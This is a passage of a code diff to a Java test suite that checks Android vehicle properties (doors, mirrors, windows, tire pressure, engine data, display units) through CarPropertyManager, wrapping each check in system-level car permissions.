+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DOOR_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_DOOR,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().requireMinValuesToBeZero().build()
+                            .verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testDoorMoveIfSupported() {
+        adoptSystemLevelPermission(/* Car.PERMISSION_CONTROL_CAR_DOORS = */
+                "android.car.permission.CONTROL_CAR_DOORS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DOOR_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_DOOR,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                            .requireZeroToBeContainedInMinMaxRanges().build().verify(
+                            mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testDoorLockIfSupported() {
+        adoptSystemLevelPermission(/* Car.PERMISSION_CONTROL_CAR_DOORS = */
+                "android.car.permission.CONTROL_CAR_DOORS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DOOR_LOCK,
+                        CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                        VehicleAreaType.VEHICLE_AREA_TYPE_DOOR,
+                        CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                        Boolean.class).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testMirrorZPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Z_POS,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testMirrorZMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Z_MOVE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testMirrorYPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Y_POS,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testMirrorYMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_Y_MOVE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testMirrorLockIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_LOCK,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE, Boolean.class)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testMirrorFoldIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_MIRRORS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.MIRROR_FOLD,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE, Boolean.class)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testWindowPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_WINDOWS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.WINDOW_POS,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testWindowMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_WINDOWS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.WINDOW_MOVE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testWindowLockIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_WINDOWS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.WINDOW_LOCK,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_WINDOW,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
     }
 
     @Test
     public void testDistanceDisplayUnitsIfSupported() {
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setPossibleConfigArrayValues(
-                DISTANCE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
-                mCarPropertyManager);
+        adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+                "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleConfigArrayValues(
+                            DISTANCE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+                            .verifySetterWithConfigArrayValues().build().verify(
+                            mCarPropertyManager);
+            });
     }
 
     @Test
     public void testFuelVolumeDisplayUnitsIfSupported() {
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setPossibleConfigArrayValues(
-                VOLUME_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
-                mCarPropertyManager);
+        adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+                "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleConfigArrayValues(
+                            VOLUME_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+                            .verifySetterWithConfigArrayValues().build().verify(
+                            mCarPropertyManager);
+
+                });
+    }
+
+    @Test
+    public void testTirePressureIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_TIRES=*/
+                "android.car.permission.CAR_TIRES", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TIRE_PRESSURE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_WHEEL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                            Float.class).requireMinMaxValues().setCarPropertyValueVerifier(
+                                    (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+                                            "TIRE_PRESSURE Float value"
+                                                    + " at Area ID equals to "
+                                                    + carPropertyValue.getAreaId()
+                                                    + " must be greater than or equal 0").that(
+                                    (Float) carPropertyValue.getValue()).isAtLeast(
+                                    0)).build().verify(
+                            mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testCriticallyLowTirePressureIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_TIRES=*/
+                "android.car.permission.CAR_TIRES", () -> {
+                    VehiclePropertyVerifier.newBuilder(
+                            VehiclePropertyIds.CRITICALLY_LOW_TIRE_PRESSURE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_WHEEL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+                            Float.class).setCarPropertyValueVerifier(
+                                    (carPropertyConfig, carPropertyValue) -> {
+                                        int areaId = carPropertyValue.getAreaId();
+
+                                        assertWithMessage(
+                                                "CRITICALLY_LOW_TIRE_PRESSURE Float value"
+                                                        + "at Area ID equals to" + areaId
+                                                        + " must be greater than or equal 0")
+                                            .that((Float) carPropertyValue.getValue()).isAtLeast(0);
+
+                                        CarPropertyConfig<?> tirePressureConfig =
+                                                mCarPropertyManager.getCarPropertyConfig(
+                                                        VehiclePropertyIds.TIRE_PRESSURE);
+
+                                        if (tirePressureConfig == null
+                                                || tirePressureConfig.getMinValue(areaId) == null) {
+                                            return;
+                                        }
+
+                                        assertWithMessage(
+                                                "CRITICALLY_LOW_TIRE_PRESSURE Float value"
+                                                        + "at Area ID equals to" + areaId
+                                                        + " must not exceed"
+                                                        + " minFloatValue in TIRE_PRESSURE")
+                                                .that((Float) carPropertyValue.getValue()).isAtMost(
+                                                        (Float) tirePressureConfig
+                                                                .getMinValue(areaId));
+                                    }).build().verify(mCarPropertyManager);
+                });
     }
 
     @Test
     public void testTirePressureDisplayUnitsIfSupported() {
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setPossibleConfigArrayValues(
-                PRESSURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
-                mCarPropertyManager);
+        adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+                "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+                    VehiclePropertyVerifier.newBuilder(
+                            VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleConfigArrayValues(
+                            PRESSURE_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+                            .verifySetterWithConfigArrayValues().build().verify(
+                            mCarPropertyManager);
+
+                });
     }
 
     @Test
     public void testEvBatteryDisplayUnitsIfSupported() {
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setPossibleConfigArrayValues(
-                BATTERY_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
-                mCarPropertyManager);
+        adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+                "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleConfigArrayValues(
+                            BATTERY_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+                            .verifySetterWithConfigArrayValues().build().verify(
+                            mCarPropertyManager);
+
+                });
     }
 
     @Test
     public void testVehicleSpeedDisplayUnitsIfSupported() {
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.VEHICLE_SPEED_DISPLAY_UNITS,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setPossibleConfigArrayValues(
-                SPEED_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray().build().verify(
-                mCarPropertyManager);
+        adoptSystemLevelPermission(/*Car.PERMISSION_VENDOR_EXTENSION=*/
+                "android.car.permission.CAR_VENDOR_EXTENSION", () -> {
+                    VehiclePropertyVerifier.newBuilder(
+                            VehiclePropertyIds.VEHICLE_SPEED_DISPLAY_UNITS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleConfigArrayValues(
+                            SPEED_DISPLAY_UNITS).requirePropertyValueTobeInConfigArray()
+                            .verifySetterWithConfigArrayValues().build().verify(
+                            mCarPropertyManager);
+                });
     }
 
     @Test
     public void testFuelConsumptionUnitsDistanceOverTimeIfSupported() {
-        VehiclePropertyVerifier.newBuilder(
-                VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Boolean.class).build().verify(mCarPropertyManager);
+        adoptSystemLevelPermission(Car.PERMISSION_VENDOR_EXTENSION, () -> {
+            VehiclePropertyVerifier.newBuilder(
+                    VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
     }
 
     @Test
@@ -793,22 +1139,24 @@
 
     @Test
     public void testFuelDoorOpenIfSupported() {
-        VehiclePropertyVerifier.newBuilder(
-                VehiclePropertyIds.FUEL_DOOR_OPEN,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Boolean.class).build().verify(mCarPropertyManager);
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_ENERGY_PORTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FUEL_DOOR_OPEN,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
     }
 
     @Test
     public void testEvChargePortOpenIfSupported() {
-        VehiclePropertyVerifier.newBuilder(
-                VehiclePropertyIds.EV_CHARGE_PORT_OPEN,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Boolean.class).build().verify(mCarPropertyManager);
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_ENERGY_PORTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_CHARGE_PORT_OPEN,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
     }
 
     @Test
@@ -900,11 +1248,13 @@
 
     @Test
     public void testEvChargeSwitchIfSupported() {
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_CHARGE_SWITCH,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Boolean.class).build().verify(mCarPropertyManager);
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_ENERGY, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.EV_CHARGE_SWITCH,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
     }
 
     @Test
@@ -942,28 +1292,1343 @@
 
     @Test
     public void testPerfSteeringAngleIfSupported() {
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        uiAutomation.adoptShellPermissionIdentity(Car.PERMISSION_READ_STEERING_STATE);
-
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_STEERING_ANGLE,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
-                Float.class).build().verify(mCarPropertyManager);
+        adoptSystemLevelPermission(Car.PERMISSION_READ_STEERING_STATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_STEERING_ANGLE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                    Float.class).build().verify(mCarPropertyManager);
+        });
     }
 
     @Test
     public void testPerfRearSteeringAngleIfSupported() {
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        uiAutomation.adoptShellPermissionIdentity(Car.PERMISSION_READ_STEERING_STATE);
-
-        VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_REAR_STEERING_ANGLE,
-                CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
-                VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
-                CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
-                Float.class).build().verify(mCarPropertyManager);
+        adoptSystemLevelPermission(Car.PERMISSION_READ_STEERING_STATE, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_REAR_STEERING_ANGLE,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                    Float.class).build().verify(mCarPropertyManager);
+        });
     }
 
+    @Test
+    public void testEngineCoolantTempIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+                "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_COOLANT_TEMP,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                            Float.class).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testEngineOilLevelIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+                "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_OIL_LEVEL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setCarPropertyValueVerifier(
+                                    (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+                                    "ENGINE_OIL_LEVEL Integer value must be greater than or equal"
+                                            + " 0").that(
+                                    (Integer) carPropertyValue.getValue()).isAtLeast(
+                                    0)).build().verify(
+                            mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testEngineOilTempIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+                "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_OIL_TEMP,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                            Float.class).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testEngineRpmIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_CAR_ENGINE_DETAILED=*/
+                "android.car.permission.CAR_ENGINE_DETAILED", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ENGINE_RPM,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                            Float.class).setCarPropertyValueVerifier(
+                                    (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+                                    "ENGINE_RPM Float value must be greater than or equal 0").that(
+                                    (Float) carPropertyValue.getValue()).isAtLeast(
+                                    0)).build().verify(
+                            mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testPerfOdometerIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_MILEAGE=*/"android.car.permission.CAR_MILEAGE",
+                () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.PERF_ODOMETER,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS,
+                            Float.class).setCarPropertyValueVerifier(
+                            (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+                                    "PERF_ODOMETER Float value must be greater than or equal 0")
+                                    .that((Float) carPropertyValue.getValue()).isAtLeast(0))
+                            .build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testTurnSignalStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TURN_SIGNAL_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(TURN_SIGNAL_STATES).build()
+                            .verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
